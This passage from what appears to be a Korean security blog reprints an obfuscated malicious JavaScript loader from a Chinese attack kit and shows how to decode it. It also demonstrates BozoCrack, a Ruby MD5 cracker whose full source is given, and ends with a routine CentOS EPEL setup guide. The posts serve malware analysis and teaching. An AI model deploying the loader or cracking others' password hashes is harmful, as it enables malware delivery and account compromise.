A53111C191B317C765B4A6C6A6729693C2E197979417C6A7C5D246F56355D794D59616B716732181528257C656C406F495312646B6E1D766F537366447326296D4E585E6A5C695042651C511551436A6A68714D436826306F152A656F40446C47501260631F6E5A654A7B5F4E5D32272F1F3C6F4D4F7445785B246F24685277794F405D655A2955306D656D764A6868445E116461646C5E4940625777571C47555C687F7C6867586D611A201D566C62645C676C757C1B27554369547E536244405D1F671010135D4D6C684E7F6E161F37252C596C59404B70742068261F21587141744B446C3D695D26405E475B7B4E6C591C1B106067534E68444466662F191A46296B4A49716C6369355414201D664B546958635D2D49192722704D6273576675181F10646050406B40686C7F272B176E4764786F615D447A283B536E515E756E7C45707A1C2E326E5B6463684A5F7F7F34181F1063504365436C40753E565B671F70775D474D755D3B5D47261D664D5046506D693B135F3D146B7746406677663E411D1D1E5343664D6F445934485428125E6352756B656C1C3A5D3A20587568786A7874284E1E59335978526E6C4E6E273E3518685D40664E61475D18414C5259544D467A59437C2D6D482935624B5040544261352B4F1E2C7F4A5D7A4244572F513B3B195E4E654E62495E1C1A424A286D47686E56715A3D291D492C77716E786C7C5B203B2649186F6C6F75566A5D162E204B465A4D6B4D624A501F1819474B657E6240427E681B4C2C693D6A6454465444651A52312C3A5E7C4947597E731C635D513876496843614A53111B1D19337C765B4A6C6A67291F3C58127979417C6A7C5D241A2F405A794D59616B7167326E1229267C656C406F495312116D6E1B766F537366447326281C3F2F5E6A5C695042651C271F23336A6A68714D436826356D152A656F40446C47501210601C6D5A654A7B5F4E5D32292A18336F4D4F7445785B246823185177794F405D655A29273218646D764A6868445E116613601D5E4940625777571C3D57261C7F7C6867586D611A2168501462645C676C757C1B2D29471A547E536244405D1F171713145D4D6C684E7F6E166F402128596C59404B7074201B501827587141744B446C3D695D57375E475B7B4E6C591C18116361534E68444466662F106F46236B4A49716C636935256C5713664B546958635D2D4B1F2927704D6273576675186F11171C50406B40686C7F272A641E3764786F615D447A28372E15555E756E7C45707A1C29391E276463684A5F7F7F346D1C6963504365436C40753E275E101A70775D474D755D3B59345619664D5046506D693B1C23486F6B7746406677663E421D18185343664D6F4459344C515B185E6352756B656C1C4E2F4655587568786A7874284A6E2E385978526E6C4E6E2738321F185D40664E61475D184039262E544D467A59437C2D1A342B46624B5040544261355A4A192D7F4A5D7A4244572F2148371C5E4E654E62495E1C17303F276D47686E56715A3D2A694D2F77716E786C7C5B20322A341F6F6C6F75566A5D162E294D375A4D6B4D624A501F1B1C423F657E6240427E681B4E58683E6A6454465444651A23332E485E7C4947597E731C1959213D76496843614A53111A1E1E337C765B4A6C6A67296D4E581C7979417C6A7C5D241E53362A794D59616B7167321A132E527C656C406F495312121E1918766F5373664473265F144F5F5E6A5C695042651C571853406A6A68714D43682646126221656F40446C4750121D116B6F5A654A7B5F4E5D32282C15386F4D4F7445785B2468526E5677794F405D655A29283668606D764A6868445E116663621E5E4940625777571C41295A1C7F7C6867586D611A571D571F62645C676C757C1B5A543C18547E536244405D1F621561145D4D6C684E7F6E166F35282C596C59404B70742014216F50587141744B446C3D682C523C5E475B7B4E6C591C11156610534E68444466662F621E41296B4A49716C63693555695713664B546958635D2D48685C55704D627357667518696C646150406B40686C7F275A65694164786F615D447A2840536F575E756E7C45707A1C584E6E5A6463684A5F7F7F346D6F6A62504365436C40753E525C636F70775D474D755D3B5A43526C31101E276660584F1E3A370C6B7F60584279606C2B5E496F65100B544D5B43626A75300E5E6352756B656C1C23782E350866093A042C0F157A4A682A54537B4E1E0125307C6D4A584B4755400E0A0E5A336A207B045E35722E4F2833100115757F447F4E33056F4F75471E34664970767143012430397B1E1B18160C055E65416436222D3859666F5A2B1707105D6D6D22614B7462270D2A223F746670411930627049526C62606D4803180A155D1E181B0F2E29617A6668303F7249647D5F6436223C0D6249546E223912065C7263407B312D5D477F593D2D434E4641514D06140B1F7B3D2028111B2C31684A6D531F2C343F375B754C5A192C0F157A4A682A627A744E1E0125307F6548621C085650445B5F5D6A677730110725392E54322A1B3C2F2F21043C193A161A082401217E6F407B65600B6055536D564D1D132B2F4143444E5B6629454E6A786055281707104F69736763483363404052312401217E6F407B65600B447F494E6E5E5F1E1D282F424D474A776C306F476652664919311721687A6E7259760B58624F5749785D2A312114756047446C7529795C6F475576141D25214B6665756C440B6E75736A3E2126067B677B48674E3367537176674F22312114756047446C75296D5C4A4E131E282C4C4E43667D753860654F44796A322126067B677B48674E3361627765407A29312114756047446C75294A555B5E61544B14132625676C7C7D554E257B5869522B100115667241765F760D746748654A5B611D251C0F4F4474757D660F685B4A5F5747191022096D7574445F60315C6E7C5E1837120873487F4E6748374C4E7F594B3B17131B614E4D7D646C234B7C5D73161E2B224F4A6F6C647D014E5263661E311721687A6E7259760B61697E672B3726106E497274714E014C614B617B64181D282F424D474A776C3057515A63252521007E4E607A76720D72637E4B2F3912064F7F66496A7425466A6B7F51604A18132B2F664944474A607D5779534964767B0423212606";
AMCdUb6="function UVKSeD6(){HSmE3=Math.PI;aHmf8=Math.tan;egYGmqt6=parseInt;wfMWwW5='length';TqBbTO0='test';dWuU3='replace';KOXUVtv0=egYGmqt6(~((HSmE3&HSmE3)|(~HSmE3&HSmE3)&(HSmE3&~HSmE3)|(~HSmE3&~HSmE3)));zsDosS1=egYGmqt6(((KOXUVtv0&KOXUVtv0)|(~KOXUVtv0&KOXUVtv0)&(KOXUVtv0&~KOXUVtv0)|(~KOXUVtv0&~KOXUVtv0))&1);/Encrypt By www.krmeok.com's JSXX 0.41 VIP/kdmF4=zsDosS1<<zsDosS1;new function(){jFEX1=ceWiaAk1('a1Qe4dG]6zY^k8b]#&,m8$[x_GD3]Nvj5dsn7[F[8ecu[S34Rlc]4r;iadpDt='dWuU3);};try{if(!\/^\d$\/gTqBbTO0);}catch(e){JDsikd8=KOXUVtv0;}nsaf5='';ANJUgF8=eval(BBvD3('%5'+'3%74%'+'72%69%6'+'E%67%2E%'+'66%72%'+'6F%6D%4'+'3%68%61'+'%72%4'+'3%6F%64'+'%65'));for(LuuzLQ3=KOXUVtv0;LuuzLQ3<AMCdUb6[wfMWwW5];LuuzLQ3-=-zsDosS1)JDsikd8+=AMCdUb6.charCodeAt(LuuzLQ3);JDsikd8%=BBvD3(KOXUVtv0+BBvD3('x')+(1<<6)-zsDosS1);Opqf4+=zsDosS1;for(LuuzLQ3=KOXUVtv0,NQsrQ1=zsDosS1;LuuzLQ3<IzpvGqn2[wfMWwW5];LuuzLQ3+=kdmF4,NQsrQ1++,JDsikd8=JDsikd8+NQsrQ1){if(\/^(\d{4})\/gTqBbTO0)JDsikd8%=49;nsaf5+=ANJUgF8(egYGmqt6(KOXUVtv0+BBvD3('x')+IzpvGqn2.charAt(LuuzLQ3)+IzpvGqn2.charAt(LuuzLQ3+egYGmqt6(zsDosS1)))^JDsikd8);}try{new function(){jFEX1(nsaf5);}}catch(e){try{new function(){eWrx2=parseInt;aHmf8(nsaf5);}}catch(e) {window.location='.';}}}try{ceWiaAk1('UVKSeD6();')}catch(e) {try{Opqf4=KOXUVtv0;ceWiaAk1('UVKSeD6();');}catch(e){alert('ere');}}";
Cslzra1 = ceWiaAk1(ceWiaAk1);
Cslzra1(AMCdUb6);
</script>

jFEX1 변수를 jFEY0로 변경 (마지막 숫자는 감소, 바로 앞 문자는 증가) 후 document.write 또는 alert 로 지정해주고 실행하면 디코딩 된 결과를 볼 수 있습니다.

마지막 숫자는 감소하고 바로 앞 문자를 증가시키는 이유는 몰랐었는데 hackmin님의 댓글로 확인할 수 있었습니다. hackmin님께 감사드리며 이하 댓글 내용 입니다.

1
2
3
4
5
6


저도 샘플을 하나 확보해서 확인해보았는데요 ... 마지막 부분이 0으로 되어있더군요 ..
그래서 왜 이렇게 1 더하고 1 빼고 하나 확인해보았는데요 ..
AMCdUb6.charCodeAt(LuuzLQ3) -> 이 부분이 들어가는 곳에서 각 문자에 대한 int(char) 값을 모두 더한 값을 key로 이용해서 난독화를 해제하더군요 ..
그래서 1더하고 1빼고 그 변수명으로 alert 나 document.write로 변경하는 건 단순히 key 값의 총 합계를 맞추기 위함이었습니다.

때문에, 앞에꺼 +1 하고 뒤에꺼 -1는 중요한게 아니고, 앞에꺼 +2 하고 뒤에꺼 -2해도 결과는 나오게 됩니다. 중요한건 key 값의 value 더군요

1
2
3
4
5
6
7
8
9


<script>
ceWiaAk1 = eval;
BBvD3=unescape;
IzpvGqn2="476046490C072B0F17045648F2CAF4C88AED86A06555767447BF9BF6D3381A7345B5C7B4880B2318E48ECD0F61AA9B9C4314E1F99C750D4B9BDC1B12C2A1472BC2993B69A5E21D00D85035ED9869598B2259876B158A40C4B3665CF217B8D453E1AA4DCD8059A1CF203FA75EFE52EBB7650AD838C3C255FA75CE78C878E328DC129E39FB78E76ECA4EDD27DE3AA71DCE40FB4EFE47C818F73AE120C14D8A7AF643B82D8D388A32DF4B94409042AD35F0488E58BB4AA17A8E44932F9248821D9A4EA94EAE499A1CC3368852A947AC6E9271863D9B6949DB77BD6E78A87C8720B1594AA96F996F7556955D162D24B845864D6B4D624A501F696A42CD657E6240427E681B687E49686A6454465444651A533B5A3E5E7C4947597E731C195C214A76496843614A53116A6F6D477C765B4A6C6A67291F3C586F7979417C6A7C5D246F26445B794D59616B71673268652B267C656C406F49531217186A1E766F5373664473265A19392C5E6A5C695042651C201B55376A6A68714D436826411C1559656F40446C475012601269685A654A7B5F4E5D32212D193F6F4D4F7445785B2469576F5177794F405D655A29234169656D764A6868445E111110136E5E4940625777571C3D545A197F7C6867586D611A516F2B6B62645C676C757C1B5A24476F547E536244405D1F6560601E5D4D6C684E7F6E1668435526596C59404B7074201E256E2A587141744B446C3D6E2F57475E475B7B4E6C591C18151010534E68444466662F636F47526B4A49716C636935241B516F664B546958635D2D4E1B2B24704D6273576675186E1C641D50406B40686C7F272A121E3064786F615D447A2840536F555E756E7C45707A1C2F4C6E5A6463684A5F7F7F346B1E1C12504365436C40753E542B651970775D474D755D3B5D465569664D5046506D693B68224E196B7746406677663E471E686E5343664D6F4459344C295C115E6352756B656C1C4D5D3625587568786A7874283B6F29325978526E6C4E6E2748466C135D40664E61475D18473B542D544D467A59437C2D69485B31624B5040544261355B39695E7F4A5D7A4244572F534F40175E4E654E62495E1C6B334D216D47686E56715A3D291D492677716E786C7C5B20402E4A696F6C6F75566A5D162B233C365A4D6B4D624A501F696B414A657E6240427E681B392C69486A6454465444651A53352A395E7C4947597E731C642C524A76496843614A53116C181A367C765B4A6C6A67296E4E586D7979417C6A7C5D241851405B794D59616B7167326F142C247C656C406F4953121E6D6F1E766F5373664473265C68325C5E6A5C695042651C506853376A6A68714D4368264113652D656F40446C475012601F6C1A5A654A7B5F4E5D32575C1F3C6F4D4F7445785B241E266F2677794F405D655A2953466F136D764A6868445E116761646C5E4940625777571C30242D1A7F7C6867586D611A5168571A62645C676C757C1B2B24401F547E536244405D1F646363145D4D6C684E7F6E166941535A596C59404B70742019271E55587141744B446C3D192F22465E475B7B4E6C591C6A656761534E68444466662F636F47556B4A49716C636935211C201D664B546958635D2D3D692D52704D627357667518696C156150406B40686C7F275A65694164786F615D447A28405369245E756E7C45707A1C5B3D68296463684A5F7F7F346B1C6D63504365436C40753E242A636F70775D474D755D3B5A33526F664D5046506D693B1C5E32696B7746406677663E306B6D6C5343664D6F4459344B5520105E6352756B656C1C4F274053587568786A7874283B6A2E3E5978526E6C4E6E274B466D125D40664E61475D18474A5529544D467A59437C2D6F342631624B50405442613559351C5B7F4A5D7A4244572F5230416A5E4E654E62495E1C6B3B4A256D47686E56715A3D586F4E5B77716E786C7C5B20352B346E6F6C6F75566A5D165D534C405A4D6B4D624A501F6E6E464C657E6240427E681B325F6E4F6A6454465444651A243428485E7C4947597E731C642D564B76496843614A5311116D1A367C765B4A6C6A67296E4E58687979417C6A7C5D241E52405B794D59616B71673269652C257C656C406F4953121510691D766F5373664473265C683C225E6A5C695042651C516955466A6A68714D436826476F652F656F40446C47501267626C1C5A654A7B5F4E5D32535B683D6F4D4F7445785B246957692077794F405D655A2953436F166D764A6868445E116761621D5E4940625777571C47555C687F7C6867586D611A566E246962645C676C757C1B5853361D547E536244405D1F13101C1F5D4D6C684E7F6E166946535D596C59404B7074206F576957587141744B446C3D6A5C22315E475B7B4E6C591C6C116161534E68444466662F646F47556B4A49716C636935526F2719664B546958635D2D39182724704D6273576675186F11606750406B40686C7F275E63183364786F615D447A28462069575E756E7C45707A1C5E3D6E5A6463684A5F7F7F346B1C6A62504365436C40753E542F636F70775D474D755D3B5B355514664D5046506D693B6E5E48686B7746406677663E466D1F1A5343664D6F4459344D2721105E6352756B656C1C48284053587568786A787428481C584E5978526E6C4E6E274D366D6F5D40664E61475D18414D512A544D467A59437C2D69485D30624B5040544261352B3E6E5E7F4A5D7A4244572F2838466D5E4E654E62495E1C69413A246D47686E56715A3D291D4F2A77716E786C7C5B2046264A186F6C6F75566A5D165B213A475A4D6B4D624A501F1F1D413C657E6240427E681B49231A4A6A6454465444651A24465D3D5E7C4947597E731C632D533876496843614A53116A6F1B317C765B4A6C6A67296E3259127979417C6A7C5D246E2E315B794D59616B7167321F135A257C656C406F495312136E1A69766F5373664473262D183F2C5E6A5C695042651C206924406A6A68714D436826476F635C656F40446C47501212676A6F5A654A7B5F4E5D32525A6A486F4D4F7445785B2469576F5377794F405D655A29534169656D764A6868445E11636711695E4940625777571C47555D157F7C6867586D611A516F516962645C676C757C1B5A26476F547E536244405D1F621267625D4D6C684E7F6E166F32535A596C59404B7074201E256957587141744B446C3D685A57475E475B7B4E6C591C1C146061534E68444466662F191E40536B4A49716C636935246F201D664B546958635D2D48682D55704D627357667518696C646150406B40686C7F275A656F3264786F615D447A2844241E235E756E7C45707A1C5F496F276463684A5F7F7F346C691C14504365436C40753E555C626F70775D474D755D3B5C40231F664D5046506D693B1F284E686B7746406677663E3B6B6E6A5343664D6F4459344A522C135E6352756B656C1C382D4653587568786A78742834125F485978526E6C4E6E274A411B195D40664E61475D18373B532D544D467A59437C2D6D485A40624B5040544261352B3A182C7F4A5D7A4244572F274D3B6A5E4E654E62495E1C193531556D47686E56715A3D2F1A3F5C77716E786C7C5B2040594E6F6F6C6F75566A5D165A544B475A4D6B4D624A501F1C1E303F657E6240427E681B3E2F18496A6454465444651A54325A355E7C4947597E731C122C523C76496843614A53116A686E327C765B4A6C6A67291B4E296E7979417C6A7C5D2418214026794D59616B71673218172C557C656C406F495312151E1C1E766F5373664473262D693C2E5E6A5C695042651C526920476A6A68714D436826326F195D656F40446C47501260656D6F5A654A7B5F4E5D32545A694F6F4D4F7445785B246E57685377794F405D655A2954416E656D764A6868445E116064636C5E4940625777571C40555B687F7C6867586D611A5669271F62645C676C757C1B2D27471E547E536244405D1F631C66155D4D6C684E7F6E166A41242B596C59404B7074206F576950587141744B446C3D192B53415E475B7B4E6C591C6A62611D534E68444466662F636F47556B4A49716C6369355368571E664B546958635D2D496D5D53704D6273576675186F1D646150406B40686C7F275C14684064786F615D447A284625692A5E756E7C45707A1C293C69276463684A5F7F7F346D1A6E64504365436C40753E2921141E70775D474D755D3B5D465569664D5046506D693B182E48686B7746406677663E3B1E6D6A5343664D6F44593438535C185E6352756B656C1C4E5B402E587568786A7874284E6F584E5978526E6C4E6E2738471C1B5D40664E61475D18373B545C544D467A59437C2D1F3E2B30624B5040544261355B346F2D7F4A5D7A4244572F534B371D5E4E654E62495E1C1C3531216D47686E56715A3D5B6F4A5D77716E786C7C5B20402A391E6F6C6F75566A5D165A544B475A4D6B4D624A501F136A414D657E6240427E681B4F5F1D3A6A6454465444651A52475A495E7C4947597E731C152A554C76496843614A53111B6F19477C765B4A6C6A6729193F221E7979417C6A7C5D241522315B794D59616B71673268192D247C656C406F495312156B6A6C766F5373664473265C14492F5E6A5C695042651C216925466A6A68714D436826376F135C656F40446C47501267136B125A654A7B5F4E5D32252C1F3C6F4D4F7445785B241825682F77794F405D655A2922351E106D764A6868445E11671D606C5E4940625777571C30552A1E7F7C6867586D611A2269261862645C676C757C1B5C55476F547E536244405D1F116067625D4D6C684E7F6E161A41242B596C59404B7074206F576957587141744B446C3D1C2B53415E475B7B4E6C591C6A656466534E68444466662F126F47286B4A49716C636935551C246D664B546958635D2D3F195C55704D627357667518696C146050406B40686C7F275A65694164786F615D447A2837261E505E756E7C45707A1C58496E5A6463684A5F7F7F346D6F6A62504365436C40753E2429121D70775D474D755D3B28432468664D5046506D693B1C5B48156B7746406677663E3B6969695343664D6F4459343B535B185E6352756B656C1C3B5E4026587568786A7874284E125C4B5978526E6C4E6E273A376B6E5D40664E61475D18453B265B544D467A59437C2D6D4D2843624B5040544261352E48692F7F4A5D7A4244572F224847175E4E654E62495E1C18423E266D47686E56715A3D581A4A5E77716E786C7C5B20445B49686F6C6F75566A5D165B2239345A4D6B4D624A501F6D6E3448657E6240427E681B32296A486A6454465444651A27405E3C5E7C4947597E731C1659283D76496843614A5311691269427C765B4A6C6A6729683E2A1E7979417C6A7C5D246C213426794D59616B7167326D602F517C656C406F495312161B6A1A766F5373664473265A6E49285E6A5C695042651C246C26466A6A68714D436826441A6759656F40446C47501214121C1A5A654A7B5F4E5D32202E144B6F4D4F7445785B246D521A5677794F405D655A29233012656D764A6868445E116461641F5E4940625777571C41282A197F7C6867586D611A2B6F226E62645C676C757C1B5C55476F547E536244405D1F151367625D4D6C684E7F6E166934575A596C59404B7074206E571825587141744B446C3D1D2E50345E475B7B4E6C591C6C131613534E68444466662F121D47246B4A49716C636935531A276A664B546958635D2D4F185C28704D6273576675186E11131050406B40686C7F275A65694164786F615D447A2830536F575E756E7C45707A1C2E3F19586463684A5F7F7F34176E6C13504365436C40753E525C196D70775D474D755D3B5B375569664D5046506D693B685F4F146B7746406677663E40696F105343664D6F4459343A265D185E6352756B656C1C392A4055587568786A78742838195F325978526E6C4E6E273D311B195D40664E61475D18363C232E544D467A59437C2D69345B35624B5040544261352A396E2E7F4A5D7A4244572F524D3B175E4E654E62495E1C6D474B546D47686E56715A3D2E1F395977716E786C7C5B20362D346E6F6C6F75566A5D162C224C425A4D6B4D624A501F6916464B657E6240427E681B485C1E3A6A6454465444651A20475A395E7C4947597E731C152C253C76496843614A53111C191B317C765B4A6C6A6729693C2E197979417C6A7C5D246F56355D794D59616B716732181528257C656C406F495312646B6E1D766F537366447326296D4E585E6A5C695042651C511551436A6A68714D436826306F152A656F40446C47501260631F6E5A654A7B5F4E5D32272F1F3C6F4D4F7445785B246F24685277794F405D655A2955306D656D764A6868445E116461646C5E4940625777571C47555C687F7C6867586D611A201D566C62645C676C757C1B27554369547E536244405D1F671010135D4D6C684E7F6E161F37252C596C59404B70742068261F21587141744B446C3D695D26405E475B7B4E6C591C1B106067534E68444466662F191A46296B4A49716C6369355414201D664B546958635D2D49192722704D6273576675181F10646050406B40686C7F272B176E4764786F615D447A283B536E515E756E7C45707A1C2E326E5B6463684A5F7F7F34181F1063504365436C40753E565B671F70775D474D755D3B5D47261D664D5046506D693B135F3D146B7746406677663E411D1D1E5343664D6F445934485428125E6352756B656C1C3A5D3A20587568786A7874284E1E59335978526E6C4E6E273E3518685D40664E61475D18414C5259544D467A59437C2D6D482935624B5040544261352B4F1E2C7F4A5D7A4244572F513B3B195E4E654E62495E1C1A424A286D47686E56715A3D291D492C77716E786C7C5B203B2649186F6C6F75566A5D162E204B465A4D6B4D624A501F1819474B657E6240427E681B4C2C693D6A6454465444651A52312C3A5E7C4947597E731C635D513876496843614A53111B1D19337C765B4A6C6A67291F3C58127979417C6A7C5D241A2F405A794D59616B7167326E1229267C656C406F495312116D6E1B766F537366447326281C3F2F5E6A5C695042651C271F23336A6A68714D436826356D152A656F40446C47501210601C6D5A654A7B5F4E5D32292A18336F4D4F7445785B246823185177794F405D655A29273218646D764A6868445E116613601D5E4940625777571C3D57261C7F7C6867586D611A2168501462645C676C757C1B2D29471A547E536244405D1F171713145D4D6C684E7F6E166F402128596C59404B7074201B501827587141744B446C3D695D57375E475B7B4E6C591C18116361534E68444466662F106F46236B4A49716C636935256C5713664B546958635D2D4B1F2927704D6273576675186F11171C50406B40686C7F272A641E3764786F615D447A28372E15555E756E7C45707A1C29391E276463684A5F7F7F346D1C6963504365436C40753E275E101A70775D474D755D3B59345619664D5046506D693B1C23486F6B7746406677663E421D18185343664D6F4459344C515B185E6352756B656C1C4E2F4655587568786A7874284A6E2E385978526E6C4E6E2738321F185D40664E61475D184039262E544D467A59437C2D1A342B46624B5040544261355A4A192D7F4A5D7A4244572F2148371C5E4E654E62495E1C17303F276D47686E56715A3D2A694D2F77716E786C7C5B20322A341F6F6C6F75566A5D162E294D375A4D6B4D624A501F1B1C423F657E6240427E681B4E58683E6A6454465444651A23332E485E7C4947597E731C1959213D76496843614A53111A1E1E337C765B4A6C6A67296D4E581C7979417C6A7C5D241E53362A794D59616B7167321A132E527C656C406F495312121E1918766F5373664473265F144F5F5E6A5C695042651C571853406A6A68714D43682646126221656F40446C4750121D116B6F5A654A7B5F4E5D32282C15386F4D4F7445785B2468526E5677794F405D655A29283668606D764A6868445E116663621E5E4940625777571C41295A1C7F7C6867586D611A571D571F62645C676C757C1B5A543C18547E536244405D1F621561145D4D6C684E7F6E166F35282C596C59404B70742014216F50587141744B446C3D682C523C5E475B7B4E6C591C11156610534E68444466662F621E41296B4A49716C63693555695713664B546958635D2D48685C55704D627357667518696C646150406B40686C7F275A65694164786F615D447A2840536F575E756E7C45707A1C584E6E5A6463684A5F7F7F346D6F6A62504365436C40753E525C636F70775D474D755D3B5A43526C31101E276660584F1E3A370C6B7F60584279606C2B5E496F65100B544D5B43626A75300E5E6352756B656C1C23782E350866093A042C0F157A4A682A54537B4E1E0125307C6D4A584B4755400E0A0E5A336A207B045E35722E4F2833100115757F447F4E33056F4F75471E34664970767143012430397B1E1B18160C055E65416436222D3859666F5A2B1707105D6D6D22614B7462270D2A223F746670411930627049526C62606D4803180A155D1E181B0F2E29617A6668303F7249647D5F6436223C0D6249546E223912065C7263407B312D5D477F593D2D434E4641514D06140B1F7B3D2028111B2C31684A6D531F2C343F375B754C5A192C0F157A4A682A627A744E1E0125307F6548621C085650445B5F5D6A677730110725392E54322A1B3C2F2F21043C193A161A082401217E6F407B65600B6055536D564D1D132B2F4143444E5B6629454E6A786055281707104F69736763483363404052312401217E6F407B65600B447F494E6E5E5F1E1D282F424D474A776C306F476652664919311721687A6E7259760B58624F5749785D2A312114756047446C7529795C6F475576141D25214B6665756C440B6E75736A3E2126067B677B48674E3367537176674F22312114756047446C75296D5C4A4E131E282C4C4E43667D753860654F44796A322126067B677B48674E3361627765407A29312114756047446C75294A555B5E61544B14132625676C7C7D554E257B5869522B100115667241765F760D746748654A5B611D251C0F4F4474757D660F685B4A5F5747191022096D7574445F60315C6E7C5E1837120873487F4E6748374C4E7F594B3B17131B614E4D7D646C234B7C5D73161E2B224F4A6F6C647D014E5263661E311721687A6E7259760B61697E672B3726106E497274714E014C614B617B64181D282F424D474A776C3057515A63252521007E4E607A76720D72637E4B2F3912064F7F66496A7425466A6B7F51604A18132B2F664944474A607D5779534964767B0423212606";
jFEY0 = document.write
AMCdUb6="function UVKSeD6(){HSmE3=Math.PI;aHmf8=Math.tan;egYGmqt6=parseInt;wfMWwW5='length';TqBbTO0='test';dWuU3='replace';KOXUVtv0=egYGmqt6(~((HSmE3&HSmE3)|(~HSmE3&HSmE3)&(HSmE3&~HSmE3)|(~HSmE3&~HSmE3)));zsDosS1=egYGmqt6(((KOXUVtv0&KOXUVtv0)|(~KOXUVtv0&KOXUVtv0)&(KOXUVtv0&~KOXUVtv0)|(~KOXUVtv0&~KOXUVtv0))&1);/Encrypt By www.krmeok.com's JSXX 0.41 VIP/kdmF4=zsDosS1<<zsDosS1;new function(){jFEX1=ceWiaAk1('a1Qe4dG]6zY^k8b]#&,m8$[x_GD3]Nvj5dsn7[F[8ecu[S34Rlc]4r;iadpDt='dWuU3);};try{if(!\/^\d$\/gTqBbTO0);}catch(e){JDsikd8=KOXUVtv0;}nsaf5='';ANJUgF8=eval(BBvD3('%5'+'3%74%'+'72%69%6'+'E%67%2E%'+'66%72%'+'6F%6D%4'+'3%68%61'+'%72%4'+'3%6F%64'+'%65'));for(LuuzLQ3=KOXUVtv0;LuuzLQ3<AMCdUb6[wfMWwW5];LuuzLQ3-=-zsDosS1)JDsikd8+=AMCdUb6.charCodeAt(LuuzLQ3);JDsikd8%=BBvD3(KOXUVtv0+BBvD3('x')+(1<<6)-zsDosS1);Opqf4+=zsDosS1;for(LuuzLQ3=KOXUVtv0,NQsrQ1=zsDosS1;LuuzLQ3<IzpvGqn2[wfMWwW5];LuuzLQ3+=kdmF4,NQsrQ1++,JDsikd8=JDsikd8+NQsrQ1){if(\/^(\d{4})\/gTqBbTO0)JDsikd8%=49;nsaf5+=ANJUgF8(egYGmqt6(KOXUVtv0+BBvD3('x')+IzpvGqn2.charAt(LuuzLQ3)+IzpvGqn2.charAt(LuuzLQ3+egYGmqt6(zsDosS1)))^JDsikd8);}try{new function(){jFEY0(nsaf5);}}catch(e){try{new function(){eWrx2=parseInt;aHmf8(nsaf5);}}catch(e) {window.location='.';}}}try{ceWiaAk1('UVKSeD6();')}catch(e) {try{Opqf4=KOXUVtv0;ceWiaAk1('UVKSeD6();');}catch(e){alert('ere');}}";
Cslzra1 = ceWiaAk1(ceWiaAk1);
Cslzra1(AMCdUb6);
</script>

출처 : http://www.kahusecurity.com/2012/chinese-pack-using-dadongs-jsxx-vip-script/

BozoCrack - MD5 Crack

Mon, 27 Feb 2012 05:32:25 +0000

MD5 Hash를 꺠는데 구글을 이용하여 레인보우 테이블이나 브루트포스 공격보다 더 빠르게 찾을 수 있는 BozoCrack 이란게 있다고 하여 간단하게 테스트를 해보았습니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


[root@localhost byjjoon]# cat test.txt
098f6bcd4621d373cade4e832627b4f6
755f85c2723bb39381c7379a604160d8
f6182f0359f72aae12fb90d305ccf9eb
eb938c5aa46863c29e86c64a2c2ed60c
[root@localhost byjjoon]# ruby bozocrack.rb
Usage example: ruby bozocrack.rb file_with_md5_hashes.txt
[root@localhost byjjoon]# ruby bozocrack.rb test.txt
Loaded 4 unique hashes
098f6bcd4621d373cade4e832627b4f6:test
755f85c2723bb39381c7379a604160d8:good
f6182f0359f72aae12fb90d305ccf9eb:young
eb938c5aa46863c29e86c64a2c2ed60c:pyj

꽤 빠르게 뽑아주네요 다운로드는 아래 사이트에서 하실 수 있습니다. https://github.com/juuso/BozoCrack/

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77


require 'digest/md5'
require 'net/http'

class BozoCrack

 def initialize(filename)
 @hashes = Array.new
 @cache = Hash.new

 File.new(filename).each_line do |line|
 if m = line.chomp.match(/\b([a-fA-F0-9]{32})\b/)
 @hashes << m[1]
 end
 end
 @hashes.uniq!
 puts "Loaded #{@hashes.count} unique hashes"

 load_cache
 end

 def crack
 @hashes.each do |hash|
 if plaintext = @cache[hash]
 puts "#{hash}:#{plaintext}"
 next
 end
 if plaintext = crack_single_hash(hash)
 puts "#{hash}:#{plaintext}"
 append_to_cache(hash, plaintext)
 end
 sleep 1
 end
 end

 private

 def crack_single_hash(hash)
 response = Net::HTTP.get URI("http://www.google.com/search?q=#{hash}")
 wordlist = response.split(/\s+/)
 if plaintext = dictionary_attack(hash, wordlist)
 return plaintext
 end
 nil
 end

 def dictionary_attack(hash, wordlist)
 wordlist.each do |word|
 if Digest::MD5.hexdigest(word) == hash.downcase
 return word
 end
 end
 nil
 end

 def load_cache(filename = "cache")
 if File.file? filename
 File.new(filename).each_line do |line|
 if m = line.chomp.match(/^([a-fA-F0-9]{32}):(.*)$/)
 @cache[m[1]] = m[2]
 end
 end
 end
 end

 def append_to_cache(hash, plaintext, filename = "cache")
 File.open(filename, "a") do |file|
 file.write "#{hash}:#{plaintext}\n"
 end
 end

end

if ARGV.size == 1
 BozoCrack.new(ARGV[0]).crack
else
 puts "Usage example: ruby bozocrack.rb file_with_md5_hashes.txt"
end

CentOS에서 EPEL 추가하기

Fri, 16 Dec 2011 17:43:15 +0000

EPEL은 Extra Packages for Enterprise Linux 의 약자다. CentOS 에서 yum을 통해 좀 더 많은 패키지를 설치하고자 한다면 repo 리스트에 추가하면 된다. EPEL과 관련된 자세한 내용은 아래 주소에서 참고하면 된다. http://fedoraproject.org/wiki/EPEL

먼저 현재 설치된 repo 리스트를 확인해 보도록 하자.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


[root@localhost byjjoon]# yum repolist
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
 * base: centos.tt.co.kr
 * extras: centos.tt.co.kr
 * updates: centos.tt.co.kr
repo id repo name status
base CentOS-6 - Base 4,686
extras CentOS-6 - Extras 3
updates CentOS-6 - Updates 934
repolist: 5,623

이제 EPEL을 설치하도록 하자. 아래와 같이 설치할 수 있으며 설치할 rpm 파일은 http://fedoraproject.org/wiki/EPEL 페이지에서 최신 링크를 확인해 설치하도록 하자. 이 글을 작성하는 현재는 최신이 6.5 버전이다.

1
2
3
4
5


[root@localhost byjjoon]# rpm -Uvh http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-5.noarch.rpm
Retrieving http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-5.noarch.rpm
warning: /var/tmp/rpm-tmp.W54ycu: Header V3 RSA/SHA256 Signature, key ID 0608b895: NOKEY
Preparing... ########################################### [100%]
 1:epel-release ########################################### [100%]

